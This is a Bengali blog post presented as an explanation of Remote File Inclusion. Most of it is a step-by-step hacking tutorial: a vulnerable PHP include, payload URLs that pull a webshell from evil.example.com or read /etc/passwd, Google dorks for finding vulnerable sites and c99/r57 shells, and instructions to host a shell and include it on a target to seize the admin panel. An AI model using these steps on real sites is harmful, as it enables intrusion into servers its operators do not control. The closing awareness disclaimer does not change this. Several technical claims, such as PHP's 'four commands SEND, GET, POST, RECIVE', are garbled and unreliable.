আপনি কি জানেন রিমোট ফাইল ইঙ্কলাসন (RFI) কি ?

ওয়েবসাইট এর নিরাপত্তার জন্য তাদের নির্বাহীরা অনেক কর্মপন্থা নির্ধারণ করে থাকেন । কিন্তু ওয়েবসাইট এর সব বাগ ঠিক করা যায়। এর থেকে বড় প্রশ্ন হচ্ছে ওয়েবসাইটগুলো কি পুরোপুরি নিরাপদ?
আর ওয়েবসাইট গুলো এই দুর্বল নিরাপত্তা কে ধরাশায়ী করার একটি উপায় হল রিমোট ফাইল ইঙ্কলাসন (RFI)। আজকে এই পোস্ট এ আলোচনা করব এটি কি এবং এটি দিয়ে কিভাবে কাজ করতে হয় ।

Remote File Inclusion

Remote File Inclusion (RFI)হল এক ধরনের vulnerability বা দুর্বলতা । যা বেশিরভাগ ওয়েবসাইট এ খুঁজে পাওয়া যায় ।
এই ধরনের ত্রুটি একজন হ্যাকার কে সুযোগ করে দেয় রিমোট ফাইল সাধারনত স্ক্রিপ্ট এর মাধ্যমে ওয়েবসাইট এ প্রবেশ করার । সাধারন ভাবে এ ধরনের ত্রুটি অ্যাডমিনদের দ্বারা সৃষ্টি হয় । কারন তারা কোন তথ্য ওয়েবসাইট এ দেয়ার পর সেটির বাগ সম্পর্কে সচেতন থাকেন না। রিমোটে ফাইল এক্সটেনশন নিচের পদ্ধতি গুলর মাধ্যমে হয়ে থাকে। অনেকে এগুলো কে আলাদা বলে গণ্য করে থাকেন কিন্তু এগুলো প্রকারভেদ হিসেবে RFI এর অংশ । এগুলো হল
1. Code execution on the web server
2. Cross site scripting (XSS)
3. Denial of Service (DoS)
4. Data Theft/Manipulation

উদাহরণ

ধরুন আপনি আপনার ওয়েবসাইট এ কোন php স্ক্রিপ্ট এর কন্টেন্ট দিলেন । php তে সাধারন ভাবে $_GET, $_POST, $_COOKIE এর মাধ্যমে rfi করা হয় । এখন আপনি যদি স্ক্রিপ্ট এ কোন ভুল করেন তাহলে সেখানে কোন ডাটা টাইপ মিসিং থাকে। আর এর ফলে সেখানে অতিরিক্ত একটি কোড এর লাইন হ্যাকার তৈরি করেন এবং অ্যাডমিন প্যানেল এ প্রবেশ করেন ।
php তে সাধারনত চার কম্যান্ড ব্যবহার হয় । এগুলো হল SEND,GET,POST,RECIVE.
নিচের এই স্ক্রিপ্ট এর কথাই ধরুন। এখানে একটি ফাইল টাইপ কে রিকোয়েস্ট করা হয়েছে ।

<!--php<br/-->if (isset( $_GET['COLOR'] ) ){<br/>include( $_GET['COLOR'] . '.php' );<br/>}<br/>?><br/><form method="get"><br/><select name="COLOR"><br/><option value="red">red</option><br/><option value="blue">blue</option><br/></select><br/><input type="submit"><br/></form>

এখন আপনি ওয়েবসাইট এ সুধু দেখেন get ,COLOR, blue এগুলো । কিন্তু যে কেউ COLOR parameter ব্যবহার করে এখানে অতিরিক্ত একটি ফাইল ঢুকিয়ে দিতে পারেন । কয়েকটি উদাহরণ দিই ।

/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?

এই কোড এর মাধ্যমে একটি ফাইল প্রবেশ করে যাতে malicious কনটেন্ট থাকে ।

/vulnerable.php?COLOR=C:\\ftp\\upload\\exploit

এই কোড ব্যবহার করে হ্যাকার তার পূর্ব তৈরিকৃত নকল ওয়েবসাইট এ ভিসিটর দের নিয়ে যায় ।

/vulnerable.php?COLOR=/etc/passwd%00

এই ধরনের কোড নিয়ে যায় পাসওয়ার্ড ফাইল এ।
এই জিনিস গুলো খুব কঠিন মনে হলে আমি আপনাদের এই ধরনের অ্যাটাক করার একটি সহজ পদ্ধতি শেখাব ।

Vulnerability

Remote File inclusion এর vulnerability সাধারন ভাবে সেসব ওয়েবসাইট এ পাওয়া যায়। যেগুলোর লিঙ্ক নিচের মত হয়ে থাকে

http://Www.Targetxyz.com/index.php?page=Anything

এ ধরনের সাইট খুযে পেতে চাইলে গুগল এ যেয়ে লিখুন “inurl:index.php?page=” । এটি সেই পেজ গুলো দেখাবে index.php?page= আছে । যে কোন একটি পেজ বাছাই করতে পারেন ।
এখন আপনাকে পরীক্ষা করতে হবে এটি RFI এর উপযোগী কিনা?
হ্যাকার রা এটি পরীক্ষা করতে সাধারনত নিচের কম্যান্ড ব্যবহার করেন ।

http://Www.Targetxyz.com/index.php?page=http://www.google.com

এখন ওয়েবসাইট টি যদি vulnerble হয় তাহলে গুগল এর এমন একটি পেজ দেখাবে । যেন একটি ওয়েবসাইট এর মধ্যে আরেকটি ওয়েবসাইট।


এখন এটি পাওয়ার পর হ্যাকার-রা শেল ব্যবহার করেন। শেল ব্যবহার করে তারা কন্ট্রোল প্যানেল এ প্রবেশ করার চেষ্টা করে থাকেন ।
এখন আপনার প্রস্ন হতে পারে আমি শেল পাব কোথায় । কিছ শেল আছে যার মাধ্যমে যে কোন ওয়েবসাইট এর কন্ট্রোল প্যানেল এর পুরো অ্যাক্সেস পাওয়া যায় । যেমন
c99 , r57 , b0yzone , j32 ” ইত্যাদি ।
আপনি এগুলো গুগল এ খুযতে পারেন “inurl:c99.txt” or “inurl:r57.txt” লিখে সার্চ করুন এবং Save them as Shell.php
আচ্ছা ধরুন আমার শেল হল
http://h1.kripway.com/rashdrhul/c99shell.ph
শেলটি বিভিন্ন ওয়েবসাইট-এই .txt মানে text format-এ থাকে এখন আপনার কাজ হবে এটাকে .php-তে রিনেম করে ফ্রী হস্টিং সাইট যেমন 110mb.com, filehoster.com এসব সাইট এ আপলোড করা ।
এখন আপনার শেল আপলোড হলে সেটি এবার আপনি যে সাইট হ্যাক করছেন সেখানে exicute করে দিন । আমার শেল ঐ সাইট এর হিসেবে হবে

http://Www.Targetxyz.com/index.php?page=http://h1.kripway.com/rashdrhul/c99shell.php?

এরপর অ্যাডমিন প্যানেল এর কন্ট্রোল আপনার কাছে চলে আসবে ।

শেষ কথা

যত সহজ করে বলছি সেটা এমন নাও হতে পারে । কাজ না করলে বিভিন্ন ধরনের শেল দিয়ে ট্রাই করতে হয় । নাহলে গুগল-দাদা তো আছেন-ই । আমার পক্ষে এর বেশি বলা মানেই Black-Hat-Hacking-এর মধ্যে ঢুকে যাওয়া । আমি চাই না যে আমার ওয়েবসাইট পড়ে কেও Black-Hat-Hacking শিখুক । আমার কাজ হল আপনাদেরকে সাবধান করে দেওয়া যে হ্যাকার-রা কিভাবে আপনার ক্ষতি করতে পারে সেটা জানুন এবং নিজেকে বাঁচান ।